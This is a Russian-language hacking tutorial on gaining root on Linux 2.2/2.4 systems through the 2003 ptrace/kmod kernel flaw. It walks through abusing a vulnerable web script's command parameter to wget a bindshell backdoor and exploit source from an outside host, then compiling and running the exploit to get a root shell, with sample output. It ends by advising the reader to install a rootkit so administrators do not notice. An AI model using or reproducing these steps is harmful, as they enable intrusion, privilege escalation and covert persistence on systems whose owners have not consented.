Получение root'a через ptrace/kmod

Автор - OverG

Немного истории о сплоите:

01.04.2003 - Эксплоит (ptrace-kmod.c) получает широкое распространение. И "весь мир" ужасается, можно получить рута почти на любом Линухе (уязвимы ядра 2.2.x и 2.4.x).
Защита: установить права доступа 700 на /proc, т.к. сплоит обращается к /proc/self/exe.
Скачать сплоит - http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c

10.04.2003 - Появляется новый сплоит (myptrace.c). Его работа уже не зависит от того, какие права доступа установлены на /proc.
Защита: проапдейтить ядро до 2.4.20 :)
Скачать сплоит - http://packetstormsecurity.nl/0304-exploits/myptrace.c


Теперь приступим к получению рута.
Предположим, вы нашли какой-то дырявый скрипт и имеете через него доступ к сайту (script?cmd=...). Теперь закачаем бэкдор, который повесит шелл на какой-нибудь порт.
script?cmd=wget -O /tmp/bs.pl http://packetstormsecurity.nl/groups/synnergy/bindshell-unix
Затем заливаем сплоит
script?cmd=wget -O /tmp/ptrace.c http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c
Запускаем бэкдор - script?cmd=perl /tmp/bs.pl
Коннектимся телнетом telnet victim 60000
и вводим эти данные.
cd /tmp;
gcc -o explptr ptrace.c;
./explptr;

[+] Attached to 8065
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
sh-2.05a#

Что мы сделали?
cd /tmp - перешли в папку /tmp
gcc ... - компилировали эксплоит
./explptr - запускали сплоит

Вот и мы получили рута.

Рассмотрим второй эксплоит(myptrace.c)

wget -O /tmp/mptrace.c http://packetstormsecurity.nl/0304-exploits/myptrace.c;
cd /tmp;
gcc -o mexpl myptrace.c;
./mexpl;

-> Parent's PID is 1523. Child's PID is 1524.
-> Attaching to 1525...
-> Got the thread!!
-> Waiting for the next signal...
-> Injecting shellcode ad 0x4000fd1d
-> Bind root shell on port 24876...
-> Detached from modprobe thread.
-> Commiting suicide.....
Killed

Этот эксплоит вешает рут шелл на порт 24876 (но он может быстро накрыться). Так что telnet host 24876 и ты рут ;).

Только не надо добавлять пользователя с uid(0), потому что админы могут просечь твою фишку, лучше залить руткит и наслаждаться рут шеллом :).